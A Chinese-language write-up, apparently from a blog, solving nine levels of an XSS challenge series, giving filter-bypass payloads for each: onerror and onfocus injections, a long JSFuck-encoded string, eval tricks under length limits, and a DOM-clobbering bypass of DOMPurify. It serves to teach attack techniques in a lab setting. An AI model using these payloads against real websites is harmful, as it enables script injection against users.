DOM破坏基础
第一关

源码
1 | <!-- Challenge --> |
分析
get传值somebody 直接给h2添加属性
payload
1 | ?somebody=<img src="1" onerror="alert(1337)"> |

第二关

源码
1 | <h2 id="maname"></h2> |
分析
一样的get获取jeff的值 利用点在eval
我们可以闭合" 然后直接alert(1337)
payload
1 | ?jeff=";alert(1)// |

第三关

源码
1 | <!-- Challenge --> |
分析
一样通过wey get传递值
但是经过了wey.replace(/[<>]/g, '') 过滤,过滤了 <>
然后通过innerHTML给uganda 赋值
因为不能通过 用户交互,所以我们不用on的点击时间
但是有一个自动获取焦点的函数 onfocus 并且这个函数有一个自动获取焦点的参数 autofocus
即可实现自动弹窗
payload
1 | ?wey="autofocus%20onfocus=alert(1337)" |

第四关

源码
1 | <!-- Challenge --> |
分析
通过ricardo get传参 然后设置定时器 2秒自动提交给form表单
然后form 表单中有method 属性接收的GET 表单属性可以通过javascript: 伪协议解析alert
payload
1 | ?ricardo=javascript:alert(1337) |

第五关

源码
1 | <h2 id="will"></h2> |
分析
get传承 markassbrownlee 获取值 , will.innerHTML = smith 添加属性,但是
smith.replace(/[\(\\)\\]/g, '') 过滤了()\
所以alert的这个括号 被过滤了,我们考虑通过实体编码绕过
因为我们在url地址栏传入的参数 先会经过浏览器进行decode 然后进入 js 接收到值后,通过了过滤函数,在进入html ,实体编码被解析为()
payload
1 | ?markassbrownlee=<img src="1" onerror="alert%26lpar%3B%26%2349%3B%26%2351%3B%26%2351%3B%26%2355%3B%26rpar%3B"> |

第六关

源码
1 | /* Challenge */ |
分析
过滤掉了大小写字母,还有数字
看见了eval函数 利用点就在这
现在就是考虑怎么绕过这个正则
想到了jsfuck

直接通过
这个编码,然后进行一下urlencode编码
payload
1 | ?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%5D%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%28%29%28%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%5D%2B%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%29 |

后面我们在 研究一下jsfuck 到底为什么可以通过这种方式来编码
第七关

源码
1 | mafia = (new URL(location).searchParams.get('mafia') || '1+1') |
分析
这里限制了我们payload的长度不能超过50,且过滤了``’ “ + - ! \ [ ]` 所以这关完全限制了上一关的方法
而且他还过滤了 alert 所以我们不能用alert 但是我们还有另外两个可以用
confirm()、prompt()
这里我们可以直接利用,但是还有其他的办法
第一种方法
1 | eval(8680439..toString(30))(1337) |
..toString() 可以将数字转换为字符
8680439:其实就是 30进制的alert


这里我们就是利用 这个函数
那为什么是30进制不是 其他进制 呢?
我们测试一下29进制
利用parseInt() 来看一下 转换alert是什么

这里可以看到 alert 的 t 转换回来消失了!!!
为什么呢?
A B C D E F G H I J K L M N O P Q R S T
这里我们知道A 是10进制可以进行转换
T 在第30位,我们合理的进行推测,T 是不是就是30进制呢?

所以我30~36都可以进行转换t
那么我们这个payload eval(8680439..toString(30))(1337)就完全可以绕过过滤,实现xss

第二种方法
1 | eval(location.hash.slice(1)) |
这里我们可以清楚的理解到 是通过 location.hash.slice(1) 这个函数来传值,我们可以通过#来插入我们的恶意代码,但是我们的xss代码并不会进入正则过滤中
payload
1 | ?mafia=eval(location.hash.slice(1))#alert(1337) |

第三种方法
1 | Function(/ALERT(1337)/.source.toLowerCase())() |
因为js是严格区分大小写的 所以我们传入的ALERT 并不会被过滤,我们就要想办法将他转为小写
这里我们查官方文档了解一下Function()的作用


Function()是构造函数
在看看.source 是啥

返回正则表达式的文本内容(即 /pattern/flags 中的 pattern 部分),不包含分隔符和标志。

.toLowerCase()转小写
这个payload我们就知道先通过Function 构造函数 然后 传入 /ALERT(1337)/ 通过.source 获取到ALERT(1337 在通过 toLowerCase() 转成小写 ,最后()立即执行
这个payload的好处是我们可以绕过他的关键字匹配,构造自己的函数

payload
1 | Function(/ALERT(1337)/.source.toLowerCase())() |
第八关

源码
1 | <h2 id="boomer">Ok, Boomer.</h2> |
分析
这里他引入了DOMPurify防御用户输入框架,这个框架至今都在维护,而且绕过的概率很低,所以我们不考虑绕过的方法
看到下面setTimeout(ok, 2000) 这里的ok并没有进行定义
那么我们可以使用dom clobbering称之为dom破坏技术
1 | <a id=ok href=javasCript:alert(1337)> |
我们尝试传入这个来重新构造ok函数

但是发现被框架过滤了,我们去github上看一下,找一下白名单

/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp|matrix):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))
这里测试发现
mailto|tel|callto|sms|cid|xmpp|matrix
全部都能够触发alert
payload
1 | ?boomer=<a id=ok href="tel:alert(1)"> |

那么为什么我们会想到用A标签呢?
1.我们需要传入一个我们可控得字符,且他能被setTimeout 执行
toString
所以我们可以通过以下代码来进⾏fuzz得到可以通过toString⽅法将其转换成字符串类型的标签:
1 | Object.getOwnPropertyNames(window) |
我们可以得到两种标签对象:HTMLAreaElement ()& HTMLAnchorElement (),这两个 标签对象我们都可以利⽤href属性来进⾏字符串转换。

HTMLAreaElement 是area但是他是一个空元素不能容纳任何内容,所以我们不考虑
那么就只剩下HTMLAnchorElement 这个的意思是锚点的意思,
也就是跳转,html中哪个标签可以跳转实现呢?
答案呼之欲出了:A标签的 href属性
所以这里dom破坏就是在a标签的herf属性上传入我们的xss代码!
第九关

源码
1 | <!-- Challenge --> |
分析
这里我们可以看到,对get传参debug进行了过滤
将 ! - / # & ; % 进行了过滤
那我们现在考虑,在哪个地方可以利用进行dom破坏呢?
我们知道形如 document.x 这种我们都可以进行dom破坏
这里我们很容易就发现 template.outerHTML,但是被<!-- --> 包裹,而且为多行注释,那么我们如何进行绕过呢?

我们先不考虑注释符,正常插入
1 | <img src='1' onerror='alert(1)'> |

发现正如我们预料的一样,我们的payload被注释掉了
那我们就要思考如何来闭合 <!--
经过查找大量资料发现,<?可以把p标签逃逸出来

那么这是为什么呢?
下断调试看看

发现 我们传入的<? 变为了 <!--?--> 这样他进入

就把P标签逃逸出来了
根据w3c
规范文档,可以在以下链接找到:
🔗 HTML Standard - Parsing HTML Documents
🔗 https://html.spec.whatwg.org/multipage/parsing.html#parsing-html-documents

当遇到< 号的时候 会切换到 标签开始状态 tag open state.
然后

又因为下一个字符是? 他会进入 bogus comment state.

然后 下一个字符是 Anything else 将当前输入字符附加到注释标记的数据中。也就是<!--?-->,
这里举个列子:输入是aaa<?bbb>ccc的时候,解析到第 i 个字符时,innerHTML 的结果是这样的
1 | a |
直到该状态遇到了>为止,回到 data state。注意这个 Bogus comment state 解析到>的时候会直接回到 data state,也就是 HTML parser 最开始解析的状态,这个时候我们就可以插入 HTML 代码了。
那么我们就可以试着传值测试
1 | <?><img src='1' onerror='alert(1)'> |

也是成功弹窗了,我们再次打断点看看具体是什么流程


与我们的预想完全一致
1 | <?><svg onload=alert(1)> |
这两个都可以,但是切记不要用<script>alert(1)</script>
原因就是/ 被过滤了,就算没被过滤也不会被执行

w3c文档清楚的进行了说明
document.write() script innerHTML outerHTML
使用该方法插入时,元素通常会执行(通常会阻止进一步的脚本执行或 HTML 解析)。当使用 和 属性插入时,它们根本不会执行。

这里他也说明了 官方文档
第十关

源码
1 | <number id="number" style="display:none"></number> |
分析